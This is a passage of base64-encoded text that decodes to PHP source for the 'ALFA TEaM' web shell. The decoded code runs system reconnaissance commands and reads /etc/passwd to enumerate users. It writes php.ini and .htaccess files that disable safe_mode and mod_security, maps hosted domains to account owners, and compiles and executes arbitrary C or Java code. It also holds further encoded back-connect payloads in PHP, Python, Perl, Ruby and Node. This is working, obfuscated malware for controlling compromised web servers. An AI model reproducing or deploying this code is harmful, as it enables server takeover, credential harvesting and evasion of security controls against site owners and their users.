vbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwKIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsCiJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCIKKTt9ZWxzZXsKJHByb2Nlc3M9YXJyYXkoCiJQcm9jZXNzIHN0YXR1cyIgPT4gInBzIGF1eCIsCiJTeXNsb2ciID0+ImNhdCAvZXRjL3N5c2xvZy5jb25mIiwKIlJlc29sdiIgPT4gImNhdCAvZXRjL3Jlc29sdi5jb25mIiwKIkhvc3RzIiA9PiJjYXQgL2V0Yy9ob3N0cyIsCiJDcHVpbmZvIj0+ImNhdCAvcHJvYy9jcHVpbmZvIiwKIlZlcnNpb24iPT4iY2F0IC9wcm9jL3ZlcnNpb24iLAoiU2JpbiI9PiJscyAtYWwgL3Vzci9zYmluIiwKIkludGVycnVwdHMiPT4iY2F0IC9wcm9jL2ludGVycnVwdHMiLAoibHNhdHRyIj0+ImxzYXR0ciAtdmEiLAoiVXB0aW1lIj0+InVwdGltZSIsCiJGc3RhYiIgPT4iY2F0IC9ldGMvZnN0YWIiCik7fQpmb3JlYWNoKCRwcm9jZXNzIGFzICRuID0+ICRsaW5rKXsKZWNobyAnPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZyhcJ3Byb2NcJyxudWxsLFwnJy4kbGluay4nXCcpIj4gfCAnLiRuLicgfCA8L2E+JzsKfQplY2hvICI8L2NlbnRlcj48YnI+IjsKaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpewplY2hvICI8cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgPiI7CmlmKCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0mJiFlbXB0eSgkX1BPU1RbImMiXSkpeyRjbWQgPSAiY2QgJyIuYWRkc2xhc2hlcygkX1BPU1RbImMiXSkuIic7Ijt9CmVjaG8gYWxmYUV4KCRjbWQuJF9QT1NUWydhbGZhMSddLCB0cnVlKTsKZWNobyAnPC9wcmU+JzsKfQplY2hvICI8L2Rpdj4iOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYXNhZmUoKXsKYWxmYWhlYWQoKTsKZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48YnI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgQXV0byBCeVBhc3NlciB8PC9kaXY+IjsKZWNobyAnPGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxcJ3BocC5pbmlcJyxudWxsKSI+fCBQSFAuSU5JIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLFwnaW5pXCcpIj58IC5odGFjY2VzcyhhcGFjaGUpIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsXCdwbFwnKSI+fCAuaHRhY2Nlc3MoTGl0ZVNwZWVkKSB8PC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsbnVsbCxcJ3Bhc3N3ZFwnKSI+fCBSZWFkLVBhc3N3ZCB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ3VzZXJzXCcpIj58IFJlYWQtVXNlcnMgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NhZmVcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ3ZhbGlhc2VzXCcpIj58IEdldC1Vc2VyIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwnZG9tYWluc1wnKSI+fCBHZXQtRG9tYWlucyB8IDwvYT48L2NlbnRlcj48L2gzPic7CmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmE4J10pICYmIGlzc2V0KCRfUE9TVFsnYWxmYTgnXSkgPT0gJ2RvbWFpbnMnKXsKaWYoIV9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikpewplY2hvIF9fcHJlKCk7CiRzb2xldmlzaWJsZTkgPSBfYWxmYV9maWxlKCcvZXRjL25hbWVkLmNvbmYnKTsKaWYoaXNfYXJyYXkoJHNvbGV2aXNpYmxlOSkpewpmb3JlYWNoKCRzb2xldmlzaWJsZTkgYXMgJHNvbGV2aXNpYmxlMTMpewppZihAZXJlZ2koJ3pvbmUnLCRzb2xldmlzaWJsZTEzKSl7CnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkc29sZXZpc2libGUxMywkc29sZXZpc2libGUxNCk7CmlmKHN0cmxlbih0cmltKCRzb2xldmlzaWJsZTE0WzFdWzBdKSkgPiAyKXsKZWNobyAkc29sZXZpc2libGUxNFsxXVswXS4nPGJyPic7Cn19fQp9Cn1lbHNlewplY2hvIF9fcHJlKCk7CiR1c2VycyA9IF9hbGZhX2ZpbGUoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKTsKaWYoaXNfYXJyYXkoJHVzZXJzKSl7CmZvcmVhY2goJHVzZXJzIGFzICRib3opewokZG9tID0gZXhwbG9kZSgiOiIsJGJveik7CmVjaG8gJGRvbVswXS4iXG4iO319fX0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTYnXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhNiddKSA9PSAndmFsaWFzZXMnKXsKZWNobyAnCjxmb3JtIG9uc3VibWl0PSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwndmFsaWFzZXNcJyx0aGlzLnNpdGUudmFsdWUsbnVsbCxcJz4+XCcpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiIC8+PGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250Ij5Vcmw6IDwvZm9udD48aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9InNpdGUuY29tIiBuYW1lPSJzaXRlIiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iZ28iIC8+PC9mb3JtPjwvY2VudGVyPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTknXSkgJiYgJF9QT1NUWydhbGZhOSddID09ICc+PicpewppZighX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKSl7CiRzaXRlID0gdHJpbSgkX1BPU1RbJ2FsZmE3J10pOwokcmVwID0gc3RyX3JlcGxhY2UoYXJyYXkoImh0dHBzOi8vIiwiaHR0cDovLyIsInd3dy4iKSwiIiwkc2l0ZSk7CiR1c2VyID0gIiI7CmlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiBmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpKXsKCWlmKCR1c2VyID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMveyRyZXB9IikpKXsKCQkkdXNlciA9ICR1c2VyWyduYW1lJ107Cgl9Cn1lbHNlewoJaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7CgkJJHVzZXIgPSBhbGZhRXgoInN0YXQgLWMgJyVVJyAvZXRjL3ZhbGlhc2VzLyIuJHJlcCk7Cgl9Cn0KaWYoIWVtcHR5KCR1c2VyKSYmJHVzZXIhPSdyb290Jyl7CmVjaG8gX19wcmUoKS4iPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz48dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlVzZXI6IDwvYj48L2ZvbnQ+PC90ZD48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+eyR1c2VyfTwvZm9udD48L2I+PC90ZD48L3RyPjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+c2l0ZTogPC9iPjwvZm9udD48L3RkPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj57JHJlcH08L2ZvbnQ+PC9iPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7Cn1lbHNlIHtlY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGI+Tm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeSBPciBEaXNhYmxlIEZ1bmN0aW9ucyBpcyBub3QgTk9ORS4uLjwvYj48L2NlbnRlcj4nO30KfWVsc2V7CiRzaXRlID0gdHJpbSgkX1BPU1RbJ2FsZmE3J10pOwokcmVwID0gc3RyX3JlcGxhY2UoYXJyYXkoImh0dHBzOi8vIiwiaHR0cDovLyIsInd3dy4iKSwiIiwkc2l0ZSk7CiR1c2VycyA9IF9hbGZhX2ZpbGUoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKTsKZm9yZWFjaCgkdXNlcnMgYXMgJGJveil7CiRleCA9IGV4cGxvZGUoIjoiLCRib3opOwppZigkZXhbMF0gPT0gJHJlcCl7CmVjaG8gX19wcmUoKS4iPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4KPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5Vc2VyOiA8L2I+PC9mb250PjwvdGQ+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPiIudHJpbSgkZXhbMV0pLiI8L2ZvbnQ+PC9iPjwvdGQ+PC90cj4KPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5zaXRlOiA8L2I+PC9mb250PjwvdGQ+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPnskcmVwfTwvZm9udD48L2I+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjticmVhazt9fX19fQppZighZW1wdHkoJF9QT1NUWydhbGZhNSddKSAmJiBpc3NldCgkX1BPU1RbJ2FsZmE1J10pKXsKaWYoIV9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikpewplY2hvIF9fcHJlKCk7CiRpID0gMDsKd2hpbGUgKCRpIDwgNjAwMDApIHsKJGxpbmUgPSBAcG9zaXhfZ2V0cHd1aWQoJGkpOwppZiAoIWVtcHR5KCRsaW5lKSkgewp3aGlsZSAobGlzdCAoJGtleSwgJHZsKSA9IGVhY2goJGxpbmUpKXsKZWNobyAkdmwuIlxuIjsKYnJlYWs7fX0kaSsrO30KfWVsc2V7ZWNobyBfX3ByZSgpOwokdXNlcnMgPSBfYWxmYV9maWxlKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIik7CmZvcmVhY2goJHVzZXJzIGFzICRib3opewokdXNlciA9IGV4cGxvZGUoIjoiLCRib3opOwplY2hvIHRyaW0oJHVzZXJbMV0pLic8YnI+Jzt9fX0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTQnXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhNCddKSl7CmVjaG8gX19wcmUoKTsKaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7ZWNobyBfX3JlYWRfZmlsZSgiL2V0Yy9wYXNzd2QiKTt9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSl7CmZvcigkdWlkPTA7JHVpZDw2MDAwMDskdWlkKyspewokYXJhID0gQHBvc2l4X2dldHB3dWlkKCR1aWQpOwppZighZW1wdHkoJGFyYSkpewp3aGlsZShsaXN0ICgka2V5LCAkdmFsKSA9IGVhY2goJGFyYSkpewplY2hvICIkdmFsOiI7Cn1lY2hvICJcbiI7fX0KfWVsc2V7X19hbGVydCgnZmFpbGVkLi4uJyk7fX0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTInXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhMiddKSl7CkBfX3dyaXRlX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCIjR2VuZXJhdGVkIEJ5IFNvbGUgU2FkIGFuZCBJbnZpc2libGVcbjxJZk1vZHVsZSBtb2Rfc2VjdXJpdHkuYz5cblNlYy0tLS0tLUVuZ2luZSBPZmZcblNlYy0tLS0tLVNjYW5QT1NUIE9mZlxuPC9JZk1vZHVsZT4iKTsKZWNobyAnPGNlbnRlcj48Yj48YmlnPmh0YWNjZXNzIGZvciBBcGFjaGUgY3JlYXRlZC4uLiE8L2NlbnRlcj48L2I+PC9iaWc+JzsKfQppZighZW1wdHkoJF9QT1NUWydhbGZhMSddKSYmIGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkpewpAX193cml0ZV9maWxlKCRHTE9CQUxTWydjd2QnXS4icGhwLmluaSIsInNhZmVfbW9kZT1PRkZcbmRpc2FibGVfZnVuY3Rpb25zPUJ5UGFzc2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlKEFMRkEgVEVhTSkiKTsKZWNobyAnPGNlbnRlcj48Yj48YmlnPiBwaHAuaW5pIGNyZWF0ZWQuLi4hPC9jZW50ZXI+PC9iPjwvYmlnPic7Cn0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhMyddKSl7CkBfX3dyaXRlX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCIjR2VuZXJhdGVkIEJ5IFNvbGUgU2FkIGFuZCBJbnZpc2libGVcbjxGaWxlcyAqLnBocD5cbkZvcmNlVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLXBocDRcbjwvRmlsZXM+XG48SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+XG5TZWNGaWx0ZXJFbmdpbmUgT2ZmXG5TZWNGaWx0ZXJTY2FuUE9TVCBPZmZcbjwvSWZNb2R1bGU+Iik7CmVjaG8gJzxjZW50ZXI+PGI+PGJpZz5odGFjY2VzcyBmb3IgTGl0ZXNwZWVkIGNyZWF0ZWQuLi4hPC9jZW50ZXI+PC9iPjwvYmlnPic7Cn0KZWNobyAiPGJyPjwvZGl2PiI7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBfX2dldF9yZXNvdXJjZSgkY29udGVudCl7CnJldHVybiBAZ3ppbmZsYXRlKF9fWkdWamIyUmxjZygkY29udGVudCkpOwp9CmZ1bmN0aW9uIF9fd3JpdGVfZmlsZSgkZmlsZSwgJGNvbnRlbnQpewppZigkZmggPSBAZm9wZW4oJGZpbGUsICJ3YiIpKXsKaWYoZndyaXRlKCRmaCwgJGNvbnRlbnQpIT09ZmFsc2UpIHJldHVybiB0cnVlOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBiY2luaXQoJGV2YWxUeXBlLCAkZXZhbENvZGUsICRldmFsT3B0aW9ucywgJGV2YWxBcmd1bWVudHMpewokcmVzID0gIjxmb250IGNvbG9yPSdncmVlbic+WyBTdWNjZXNzLi4uISBdPC9mb250PiI7CiRlcnIgPSAiPGZvbnQgY29sb3I9J3JlZCc+WyBGYWlsZWQuLi4hIF08L2ZvbnQ+IjsKaWYoJGV2YWxPcHRpb25zIT0iIikgJGV2YWxPcHRpb25zID0gJGV2YWxPcHRpb25zLiIgIjsKaWYoJGV2YWxBcmd1bWVudHMhPSIiKSAkZXZhbEFyZ3VtZW50cyA9ICIgIi4kZXZhbEFyZ3VtZW50czsKaWYoJGV2YWxUeXBlPT0iYyIpewokdG1wZGlyID0gQUxGQV9URU1QRElSOwpjaGRpcigkdG1wZGlyKTsKaWYoaXNfd3JpdGFibGUoJHRtcGRpcikpewokdW5pcSA9IHN1YnN0cihtZDUodGltZSgpKSwwLDgpOwokZmlsZW5hbWUgPSAkZXZhbFR5cGUuJHVuaXEuIi5jIjsKJHBhdGggPSAkZmlsZW5hbWU7CmlmKF9fd3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7CiRleHQgPSAoJEdMT0JBTFNbJ3N5cyddPT0nd2luJyk/ICIuZXhlIjoiLm91dCI7CiRwYXRocmVzID0gJGZpbGVuYW1lLiRleHQ7CiRldmFsT3B0aW9ucyA9ICItbyAiLiRwYXRocmVzLiIgIi4kZXZhbE9wdGlvbnM7CiRjbWQgPSAiZ2NjICIuJGV2YWxPcHRpb25zLiRwYXRoOwphbGZhRXgoJGNtZCk7CmlmKGlzX2ZpbGUoJHBhdGhyZXMpKXsKaWYoY2htb2QoJHBhdGhyZXMsIDA3NTUpKXsKJGNtZCA9ICRwYXRocmVzLiRldmFsQXJndW1lbnRzOwphbGZhRXgoJGNtZCk7Cn1lbHNleyRyZXMgPSAkZXJyO30KdW5saW5rKCRwYXRocmVzKTsKfWVsc2V7JHJlcyA9ICRlcnI7fQp1bmxpbmsoJHBhdGgpOwp9ZWxzZXskcmVzID0gJGVycjt9Cn0KcmV0dXJuICRyZXM7Cn1lbHNlaWYoJGV2YWxUeXBlPT0iamF2YSIpewokdG1wZGlyID0gQUxGQV9URU1QRElSOwpjaGRpcigkdG1wZGlyKTsKaWYoaXNfd3JpdGFibGUoJHRtcGRpcikpewppZihwcmVnX21hdGNoKCIvY2xhc3NcIChbXntdKyl7L2kiLCRldmFsQ29kZSwgJHIpKXsKJGNsYXNzbmFtZSA9IHRyaW0oJHJbMV0pOwokZmlsZW5hbWUgPSAkY2xhc3NuYW1lOwp9ZWxzZXsKJHVuaXEgPSBzdWJzdHIobWQ1KHRpbWUoKSksMCw4KTsKJGZpbGVuYW1lID0gJGV2YWxUeXBlLiR1bmlxOwokZXZhbENvZGUgPSAiY2xhc3MgIi4kZmlsZW5hbWUuIiB7ICIuJGV2YWxDb2RlIC4gIiB9ICI7Cn0KJHBhdGggPSAkZmlsZW5hbWUuIi5qYXZhIjsKaWYoX193cml0ZV9maWxlKCRwYXRoLCAkZXZhbENvZGUpKXsKJGNtZCA9ICJqYXZhYyAiLiRldmFsT3B0aW9ucy4kcGF0aDsKYWxmYUV4KCRjbWQpOwokcGF0aHJlcyA9ICRmaWxlbmFtZS4iLmNsYXNzIjsKaWYoaXNfZmlsZSgkcGF0aHJlcykpewppZihjaG1vZCgkcGF0aHJlcywgMDc1NSkpewokY21kID0gImphdmEgIi4kZmlsZW5hbWUuJGV2YWxBcmd1bWVudHM7CmFsZmFFeCgkY21kKTsKfWVsc2V7JHJlcyA9ICRlcnI7fQp1bmxpbmsoJHBhdGhyZXMpOwp9ZWxzZXskcmVzID0gJGVycjt9CnVubGluaygkcGF0aCk7Cn1lbHNleyRyZXMgPSAkZXJyO30KfQpyZXR1cm4gJHJlczsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gYWxmYWNvbm5lY3QoKXsKYWxmYWhlYWQoKTsKJHBocD0iN1ZadGE5c3dFUDVlNkg5UWphRTJTNXVYZmhnMHBEQllQdzdLVnRpSHRqT09MTmNpdHFWSjhwS3hwYjk5ZDM2TDR6aWQxN1d3UVYxd3JidlRvMGU2T3oxaFNnbmxLU2FGTWp5OWQwYnU5UEJBTStNWm5qQXY1Z2szaFUzTVBaN0ltRk51dkRET2RPU2cxVGErdW1kR2t4bGhLeG1MZ0RrV3NRYWt0T2NoRkwzanM3TzNPRmo2TUVpek9NWUJhdzUwQkFNTFVJQUp1Yjc4K0dHMk1rd2wwNnRQNDlueHJYMzErZjNGOGJSMGcyMDZuUE4wQ0pOT3VJWFRFNXo5UU43Rm9VK3VtWjhRSGJFNEpnL2s4QUQ5UENRT0ZWbHFuSXF5UzJaQXl5VS9EZzhJUExZRWdOSTNMVTA1STZzYUdSekJvZ0ZhMW9URm11MUJuWFNpNnB2UlhSTzVOby92dHBmdzZTSmZvbUFkWmlrMVhLUWVXM0Z0dEhNc2FXcGlMeFJxY2V3MkZ1SUJUTjc0OHZTZ0J6RUs3NHljNElZQnh6amp0cnUwajVwMktUUmZlVkFObWdlTzJ3RlFVa1RlMWRsc0dHSGF0VkdRQzA4THVvQ2Ewa3g5WThxeERKWG53K0hvTlA4N3Q4Z3AwSWVhWVVxbG92Z1A4eW9pRlVSWmt5S0R3OVlEY2xZenRlbk9RajZsVEdKY2N6Y1FZa1FzbHNCQVozTVlPVEtTWHBiNkNYUGNBUmtCcHB0djBscnlkTE1QZk1LbDRvWTVOZ1YyQ2RDRnRORWxIc2twc1M2c2FoRjhsaEdQR1o0b09RS2swSWNpMlVLcWl5TEUxQU5pYzNKOTdvcmRlNGx2YU9SWVF4cmNFdWZteTYyK2UrTU9PZllXbnBWUzdnNXVqaDFnR1lCN1UxVnRkSzY5Z0NzSElnR0NSdFYzUjdRdEFHdDdyNjJvVFJzWXhaUG1FZHV5UEV5c0ZvdjgvRW4yUm56TklNSWxjOGpnb29XUDZBVU5IeHI3Y29XVGtJaTFrNFRXeEdiR1JITnY2MFpXYVN3MGErV2dNdGFsVTJ4eGJ6VTA1OW9CMXJ5dmxQL2RHWkhaUmZscFNTNFpKTTVTRnRUWnVNT3hSTWVrMjdHMWdGVFk1RXBRVDBpV0FzdG9nS3RpVVhEWmpNU1VIRUdtRmRNaVV4VFlTcXlZN2Q3SHA5RmU4eGk2QjBVQXdlQ3lncDdvRlRudUhUbnBGVWxiUVdWUEdaWHQ5bEorUXpJUlloYXh5SXJ2Z3BYYlhWTzI4dXNzNVRtczlsQlNiSGRDelRGbUZPNFU1VVBrRWw4TVhxaGVYUzNNVTYreGd2TDNkQ3ZIbXdEZ2d5S082cTQyck9xdHlvck4yMUhyeHdqVTIrdkRvZzUrbkFwOUVvdkpuN0NZL0QyTGpsN1hYYjNlZVFFVXA3M1BNOTdyMlM2Z3ZGY3JiNjFwNitZUGlFbzlVZmEzMVRORU9Tc2FQU3J2ZlpiaWEwdi9ua25iOUxOcjIwN3VYcld0aWI5UDIrQUhhMTkxMHozVXJZZVE2VmNoZXhFaDAwOFNNdjBrSWRNdkxtUzY1K1d0L3ljaDAvK0VrUDJPUlY4aGUybk4rZ1U9IjsKJHB5dGhvbj0icFZSdFQ5c3dFUDZjU3YwUHhwdFdSODBNN1lZMHdZSlVRWmpRQmxSdHAzMEFWcVhPcFltV09wSHRRUG5DYjUvdEpHMUFIVUthcXJhK1Y5OXo5NXpmN2UyWFV1d3ZVcjRQL0I0Vmp5ckplYmVUcm9wY0tDVEFrK1dpRURrREtiMWNldkpSZjNQMkI1U24waFYwTzRXUGNiZVQyTjhJWWlRVHlETEMzS051eHpGeC9qYWVqdk1DT0dHZTlmRm5vdFRaVlpTWDZwblR4VGd3YWhCaWx6cmxMN1d1dmttQUtnVkhSazJybEZSQUdCRzMzNmgwdXBacVZTamlVdUFzajREMFNoVi8vTkxUZVNvSUlWTnB6bXNNYVl4eVNYbTRnajBmYzRXTnpvbDlSdU0wQTU0VGM3dWpQWFJqRkt3SWhyVnQzQ3lZWFBwckJXSjFQSjRPL043NzhhK3prOTV4YmRXcVk5dHltYUNQS2ZyNkFmZWxFaVIyK3hpZHRJWGhWaklYUVNiQkZ2Q1E2TnVSNmFBVkhTVWVxNE1qZEdrQzJEMFpIQXcvdXpRQ0N4RmJpTmdXNjhDYVFhRnEveUtVc3RJMnVSMkRXV01qd2owNXFEWE93aGRBSllTQ0pRU3o2QmFSbTkrMzhxN3ZZazk0Y1JZdXBYRzQrSFoxUFFsT1I5UEFyZU4wcWtXVG8rNWxFYXFFcGpKS0JWblFwY2pMZ2d4Y2QrTmttc21TRjliR3FFY0pQQ0wvbW1EajE4S2k4eGwrV1ZZS3QxMUpxVkRJSTR0VW53M1dPcnVSS2tlYkI5WGtPZysxMUhDa3FlQm9TejU4eTNGZkY3OEV4UjRNei9DSjNvbWxyNWxCUTdHODEwdFY5WFhwK3Y3UTdvZS92Qm5jZFR1UXRTeWYyaFluMFllaGRkR1Z3RHBWdWh0bTZWS3VTS0ZQMHErMmtWWi9wSlpHNS9PTHEyQldyeXFkWHA5K24wOW5rMkIwYVdJMFRHVXNlYkVKbUY3L21CdXZkc3g4RXZ5Y0JxT3pzNGxuTG4xWnZhU2F3UkVoK0lEYUQvWUtPd0JKczFUdkFpZUhSakxNMUNzZnVyN3VBalBFc3l2VDRxQjVSNmpNQUFxTGJUdThuYXZYVUlEZ0p6VEs0aEROSUZ5aHFaa3ZldElUMk0ySkxTRmVDOGVicDJGM2xzM0Q4S3daZG1BR0p0TEV6VGtIcGdoSjZtYnN4bm40QnB6eS8zQytGdjVHbk5MOUN3PT0iOwokcGVybD0ibFpMUmpwTkFGSWF2MjZUdk1PSnNDOGtZV3IxYnBKRlEzRFJyUzhPd0dtT1ZzUFNzVEtRRGdWbTNtKzcyMlowQlZpZkdHTDA3NTUvRGQrQWJuait6YjV2YXZtYmNCdjRkVlZBWG8rRnRBMmdabnAvVE12c0d3aGtOY2RtNCtFdW9xaVozRFRoVVpTMVFIRVFyOXlDZzNqc2JPbk1uVzd6NXNOak9KMDUvTGtPbkpUYzVlc0VNK1RTN01SWHF0TGZ2Wk15c1k0czc4OE1WM1FUK0diSXZEZWRSTGhIdVZ4QlZYWXJ5K3A2bmV6QW5JcXNtbGlRMDdTdVpsSXczYjVQbE9vakptSWIrWlVMaktQQldCQXZyNFdISHdMUzZiVys4Nk9LOTY4NnM0Mmc0d0pXTFZmOXArbG1lRGhvUWlsWldDa2ZEZDRrQ1NTQU5reWk0b29HM1dFUmtwa0FEK1JFN09hVEcwOTJ1VGhnM2NVV1dheldTZU91UGxyWjFVTEJHQUpmanIvUTB6VEtRbTN4Q3JXNjVKUHJFT0NHdnVFbFJET2tlMFJ5S0FwMjIzQ0RUZHFpc2dDTWFMNVpyWXJ3ZSs0YnpGSVJYTVRIbWVoSkVVWi9JNStBQUdaSnF0ZlZaVVRaZytwYlRGZlJub2VoYUk4bGFKNmxXQjJRQ1RXVWxMd2VLNXBmWWwzOFNpL08rblhVdGN4a0hrYVNpbE5weVhRcE8zZCtjWXFhZlp5WG5rS243d2FtZXQvYm9QOWd6ZTN2ek1UVXM1eW5wOWVsUjcwOUZmeFA0Zjk0NlczQlUra3o1SnozK0FBPT0iOwokcnVieT0idFZiN2I5TTZGUDdaK1N1TU4waHpWeExHUStoMk42dkdVMGdncWpHNFFtUVh0YzVwWXkxMWd1M1FvVzM4N2ZpVnJxWHQxaXZkNjZwMWVzN244L1Q1MnAwN1NTTkZNbUk4QWY0ZGkyYjBJOWpCaFZLMTdDWEpoS21pR2NXMG1pYWpSMDhmbjduUFFNQzNoZ25Bb2F6b0dhandXbEFQVmNHSFV3aURJSWN4bGcwOWt3RVNvQnJCOGZISFo1Ky9EdDRlbmJ4NmYvd3V6cXNacDBNSjhYU29hTkVKcDNMRytLVjVUeG1mek1Lb3IwUUR2Zkd3bEJBQXo1MUZBY1BTT09sSUpTSnRPZFY3Z05nWXYySWx4SERPcEpKOXI5VGFnWThuNWpDejByZzFFS3ZxcXc3TkdEYkhiYVJZRmNDeFNFVThrYzJvazJSSjBpVlpSaUpzWVQ0TjRhTFJoNDZPWDMrS1MrQVRWYVRwZm9EMU1xSXZEMDdUbjhrL1h4N2MvL1AwWXIvNzVHbzM2ZGZwRzY1Z0FxTGpFVkZQQjZ2c0dabWVQQjk4QVBFZGhJMlRrRzRkV1ExTlpUeWtGR29IcEhFdEdGZVkyRFpnV1VCWjRoNm1GZWRBRmVRWkp4WTNnZ25qOXNrc0hTaXZsTzhGWGxqamxKb3FzQ1VobkFQRjB2b1pkd2ljMTVWUStPVGw4YnYwWElHWUhndys3S2RodGp2NCswVjJHQjU0dlJZZTJEc2tDM3lmNGV5djdON2RIR2VIZG52b2R0SWRtMWMwOXdhbXNZdXUyL1RtUFNZeGlmYklJVmxDelFyZGFWenEyQ2VnbGhNeVN3eVpCQXhDVk9LWnFFenlwV2xHemlBVC9kMWtCZStyVThhMHFLWjFtaEt5QXZFd1k0Zm1PUDRqWVdzaFpwVnA2ZStPUmlhc0c0YVJNN3p4Ukh0MWN6MC9WRlhpUjc5VFJodlJ6c2U4UUxjZ1h6Q2h2V3ZMTndITlpkNmsyNjRqQ3czMVpjcG12UnZMdEM1cFY2ZXRFN29OL3ArbUJSdE52WGtmMTFVTnZGTjJpU0RSeFNXckxsdnpyREpzays4UlBaZDdLNzZ1Z20zRC9sMjIrTDE5RmlCcGMzM3ZOZm5ONlFXNGJNUjFCakttWmJXUWtVdzVLNFBXbHV2aEVyRTl0QVM1Z2RpMG8xVnFPOURTSXJYZjlrODF4NW9DK29BYzRUckdzejhlanZGMkxvb3J5M3BJYnNGeHlCRWNRa3ZVaGhBYWE3NjBqSWFNdS8rYnlGQ2IyVHpvMVF1bGxTMWhTVWRZV29KdUlTa2JQMXJEVE1qTEY2bkl5dEJtNGtIdG9UVTBnOXJEaTR6aWhVdms0VVMyZDNiZG1MQ3R5MjlNc0RtS2RwQlgzUzVyL28xejhNaDEweW0zbk00bHAzNTNtLzh6c0hiZ2tKODJFNldiTS8xa0p3ejU4WEtUWjhGRzhncz0iOwokbm9kZT0iblZITGFzTXdFRHdya0g4UXZsaUNvRURUVzh